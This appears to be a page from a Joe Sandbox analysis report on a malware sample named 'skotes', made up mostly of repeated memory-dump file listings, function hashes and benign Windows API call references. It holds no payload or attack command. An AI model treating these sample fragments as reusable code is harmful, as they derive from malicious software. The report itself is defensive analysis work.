Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 8e08fad1ccaff228682347ac8928734d6b277f50a0084509d05a7db6a3e73010
Instruction ID: 3028fc7b5b3c22c885aa462014d686a39e9c1f4bb78c44f8bfc84aab908a9d12
Opcode Fuzzy Hash: 8e08fad1ccaff228682347ac8928734d6b277f50a0084509d05a7db6a3e73010
Instruction Fuzzy Hash: E0E08611B9E20095FA543268588DF6DA2D4C7D7B00F254465A718CB0A59E709590C923

Function 00B86D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 00B86D11
Sleep.KERNEL32(00007530), ref: 00B86D25

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: 46bf9e55d654e5386e36995ec5b1c3a00d4bc3b960186c1a2b5e1c7d19be4ff3
Instruction ID: ccf2c38cacb0dc8c316d808c72dcdbd6dfebe365dc2d4e1b86d8e19b4ac96912
Opcode Fuzzy Hash: 46bf9e55d654e5386e36995ec5b1c3a00d4bc3b960186c1a2b5e1c7d19be4ff3
Instruction Fuzzy Hash: 90D08C307D0318F6F23023202C0BF26AB60DB0EF00F26488073483F0F086E430008BA8

Function 00B78380 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00B78524

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 8a495247c03526557c0bc9c9467b3d8cb7760d692a5cfbe3b8c6e77c631d8378
Instruction ID: ed473f8701ed786a343cd287df15d74a23ebfd62f4d64821b9821c9a5f19f136
Opcode Fuzzy Hash: 8a495247c03526557c0bc9c9467b3d8cb7760d692a5cfbe3b8c6e77c631d8378
Instruction Fuzzy Hash: 59511670D442089BDB28EB68CD897DDB7F4DB55310F5082D9E42CA73D1EF749A848B91

Function 00BA7124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,00BA705B,?,?,00000000,00000000), ref: 00BA7166

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: 9bdcba61a4ba2ef3e7927a94e0dea4bc447f629d77470f0f8edde3b4722488e9
Instruction ID: c4f7df158dcfb6467534a12b1e60d706f4f927e4b3d991aec2022d4980de12e8
Opcode Fuzzy Hash: 9bdcba61a4ba2ef3e7927a94e0dea4bc447f629d77470f0f8edde3b4722488e9
Instruction Fuzzy Hash: 1411FE7294810DABDB10DE95CD85EDFB7FCAF09310F6052A6E511F2180EB30EA49CB61

Function 00BAAC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00BAAC8D

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: cd302660003b4e402f70530d31cf85abd530eac42e961d6a22204fd1b7b06a2d
Instruction ID: de941eb5f860198dc53200f08801e0f1cfe94a329f33a647e41528115296b6ec
Opcode Fuzzy Hash: cd302660003b4e402f70530d31cf85abd530eac42e961d6a22204fd1b7b06a2d
Instruction Fuzzy Hash: 79111575A0420AAFCB05DF58E94199A7BF4EF49314F0440A9F809AB251EB70EE25CB65

Function 00BAD82F Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00BAA813,00000001,00000364,00000006,000000FF,?,00B8D3FC,3F7B10E6,?,00B87A8B,?), ref: 00BAD870

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
